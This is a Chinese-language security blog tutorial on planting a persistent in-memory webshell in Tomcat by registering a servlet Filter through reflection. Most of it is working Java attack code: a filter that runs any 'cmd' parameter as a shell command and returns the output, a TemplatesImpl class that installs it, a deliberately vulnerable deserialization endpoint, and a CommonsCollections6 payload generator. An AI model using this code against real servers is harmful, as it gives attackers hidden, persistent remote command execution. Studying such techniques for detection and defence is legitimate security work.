通过动态注册filter实现Tomcat内存🐎
# Tomcat内存WebShell
Reference:
这种方法需要获取 Request 和 Response 对象(具体方法可以参考上一篇文章或者是Reference中的文章),再通过动态注册filter,完成一个持久性Tomcat WebShell。
# 动态注册filter
# Exception
如果尝试直接动态注册filter,就会抛出异常:
@RequestMapping("/demo2")
public String demo2(ServletRequest request) {
class WebShell implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("filter");
}
}
ServletContext servletContext = request.getServletContext();
FilterRegistration.Dynamic dynamic = servletContext.addFilter("WebShell", new WebShell());
dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");
return "demo2";
}
因为在addfilter
方法中的context.getState()
方法的值为STARTED
,会直接抛出异常:
可以通过反射修改this.context
字段的state
的值来解决这个问题,之后便会把filterName
添加到context
字段的filterDef
中:
但是在实际的调用栈中,实际的filterChain
的创建是在StandardWrapperValue#invoke
方法中:
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
······
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
······
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Return the completed filter chain
return filterChain;
}
从context
提取filterMap
数组之后,生成filterConfig
,之后添加到filterChain
。
我们之前只是把创建的filter
封装成了filterDef
添加到了context
的filterDefs
字段,但是在filterMaps
和filterConfigs
中并不存在:
# filterMaps
在执行dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");
这条语句的时候,就已经添加到filterMaps
中了:
@Override
public void addMappingForUrlPatterns(
EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter,
String... urlPatterns) {
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
if (dispatcherTypes != null) {
for (DispatcherType dispatcherType : dispatcherTypes) {
filterMap.setDispatcher(dispatcherType.name());
}
}
if (urlPatterns != null) {
// % decoded (if necessary) using UTF-8
for (String urlPattern : urlPatterns) {
filterMap.addURLPattern(urlPattern);
}
if (isMatchAfter) {
context.addFilterMap(filterMap);
} else {
context.addFilterMapBefore(filterMap);
}
}
// else error?
}
# filterConfigs
在StandardContext
中有一个filterStrat
方法:
public boolean filterStart() {
if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}
return ok;
}
它会遍历filterDefs
,然后实例化对应的ApplicationFilterConfig
对象,最后添加到filterConfigs
字段(根据filterDefs
重新生成filterConfigs
)。所以我们只需要反射调用这个方法就可以实现fiterConfigs
字段的修改:
Method filterStart = StandardContext.class.getDeclaredMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext);
# 优化
可以把我们动态创建的filter放到filterMaps
第一个位置上去:
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equals("WebShell")) {
// 互换位置
FilterMap filterMapTemp = filterMaps[0];
filterMaps[0] = filterMaps[i];
filterMaps[i] = filterMapTemp;
}
}
Arrays.stream(filterMaps).forEach(System.out::println);
完整demo如下:
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.EnumSet;
import java.util.Scanner;
@RestController
public class Controller2 {
@RequestMapping("/demo2")
public String demo2(ServletRequest request) throws Exception {
class WebShell implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
String cmd = servletRequest.getParameter("cmd");
InputStream inputStream = null;
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
inputStream = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
} else {
inputStream = Runtime.getRuntime().exec(new String[]{"/bin/bash", "c", cmd}).getInputStream();
}
}
if (inputStream != null) {
Scanner s = new Scanner(inputStream).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
}
}
ServletContext servletContext = request.getServletContext();
if (servletContext.getFilterRegistration("WebShell") == null) {
// servletContext 实际上是获取的 ApplicationContextFacade,需要先提取其中的 ApplicationContext
// 门面模式的使用:ApplicationContextFacade 实际上是对 ApplicationContext 的一层包装
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
// 获取 ApplicationContext 中的 StandardContext
context = applicationContext.getClass().getDeclaredField("context");
context.setAccessible(true);
StandardContext standardContext = (StandardContext) context.get(applicationContext);
// 获取 StandardContext 中的 state
Field state = LifecycleBase.class.getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext, LifecycleState.STARTING_PREP);
FilterRegistration.Dynamic dynamic = servletContext.addFilter("WebShell", new WebShell());
dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");
// 添加 filterDefs 到 filterConfigs
Method filterStart = StandardContext.class.getDeclaredMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext);
// 优化,调整 filter 顺序
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equals("WebShell")) {
// 互换位置
FilterMap filterMapTemp = filterMaps[0];
filterMaps[0] = filterMaps[i];
filterMaps[i] = filterMapTemp;
}
}
// test
Arrays.stream(filterMaps).forEach(System.out::println);
// 恢复 STARTED 状态,否则程序运行会发生异常
state.set(standardContext, LifecycleState.STARTED);
}
return "demo2";
}
}
还是需要访问两次路由,第一次动态注册filter,第二次执行命令:
# 实际应用
内存马的代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.beans.MutablePropertyValues;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Arrays;
import java.util.EnumSet;
import java.util.Scanner;
public class TomcatWebShell extends AbstractTranslet implements Filter {
static {
try {
Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
// 去掉final修饰符,设置访问权限
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.set(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
} else {
ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletContext servletContext = servletRequest.getServletContext();
if (servletContext.getFilterRegistration("WebShell") == null) {
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
context = applicationContext.getClass().getDeclaredField("context");
context.setAccessible(true);
StandardContext standardContext = (StandardContext) context.get(applicationContext);
Field state = LifecycleBase.class.getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext, LifecycleState.STARTING_PREP);
FilterRegistration.Dynamic dynamic = servletContext.addFilter("WebShell", new TomcatWebShell());
dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");
Method filterStart = StandardContext.class.getDeclaredMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equals("WebShell")) {
FilterMap filterMapTemp = filterMaps[0];
filterMaps[0] = filterMaps[i];
filterMaps[i] = filterMapTemp;
}
}
Arrays.stream(filterMaps).forEach(System.out::println);
state.set(standardContext, LifecycleState.STARTED);
}
}
} catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
String cmd = servletRequest.getParameter("cmd");
InputStream inputStream = null;
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
inputStream = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
} else {
inputStream = Runtime.getRuntime().exec(new String[]{"/bin/bash", "c", cmd}).getInputStream();
}
}
if (inputStream != null) {
Scanner s = new Scanner(inputStream).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
}
}
可以设想情形:
- 目标应用存在反序列化接口,可以把
TomcatWebShell
的字节码注入TemplatesImpl
对象的_bytecode
字段 - 触发Gadget之后,执行
TomcatWebShell
的static code block
,第一次发送payload,执行的结果是获取了Request和Response对象 - 第二次发送payload,再次执行
static code bolck
,这次执行的结果是动态注册了TomcatWebShell
这个filter,生成了持久化的WebShell
// 存在一个反序列化接口
import org.apache.tomcat.util.codec.binary.Base64;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
@RestController
public class TestController {
@RequestMapping("/test")
public String test(@RequestParam("data") String data) throws Exception {
byte[] bytes = Base64.decodeBase64(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
return data;
}
}
利用CC6生成payload:
package src;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.tomcat.util.codec.binary.Base64;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
File file = new File("target/classes/src/TomcatWebShell.class");
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "F4DE");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
// ======反序列化======
ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(barr_out);
ops.writeObject(expMap);
System.out.println(Base64.encodeBase64String(barr_out.toByteArray()));
}
static void setFieldValue(Object obj, String field, Object value) throws Exception {
Class<?> clazz = Class.forName(obj.getClass().getName());
Field field1 = clazz.getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}
}
生成payload之后向目标接口发送两次payload(注意🏳🌈:将payload进行一层URL编码):
# 关于三个 Context 的简单理解 【待补充】
在内存马的创建过程中经常涉及了三个 Context :
- ServletContext
- ApplicationContext(ApplicationContextFaced)
- StrandardContext
这里的 Context 实际可以分为两类:
- Servlet中的Context:记录着Servlet在容器中运行的环境参数,对应着
javax.servlet.ServletContext
接口 - Tomcat中的Context:对应着一个WebApp,用于管理Wrapper,对应着
org.apache.catalina.Context
接口
具体可以参考知乎大神的回答:tomcat里容器的context和我们Servlet里参数的Context是一个东西么? - 知乎 (zhihu.com) (opens new window)
# ApplicationContext
javax.servlet.ApplicationContext
是ServletContext
接口的实现类,实现了SerlvetContext
接口规范定义的一些方法。
我们通过request.getServletContext
获取到的是ApplicationContextFacade
,由于门面模式 (opens new window)的使用,ApplicationContextFacade
实际上是对ApplicationContext
的一层包装:
# StandardContext
org.apache.catalica.StandardContext
是Context
接口的实现类,在ApplicationContext
类中存在对StandardContext
的引用:
而 StrandardContext
类的方法中很多都调用了this.context#{Method}
:
所以某种程度上,ApplicationContext
是对StrandardContext
的一层包装,前者负责 Servlet 运行的环境信息,后者负责与 Tomcat 底层进行交互。
# 局限
局限于 Request 和 Response 对象的获取方式,依然无法在Shiro中使用。
- 02
- CommonsBeanUtils04-19
- 03
- 基于Tomcat全局存储进行回显04-16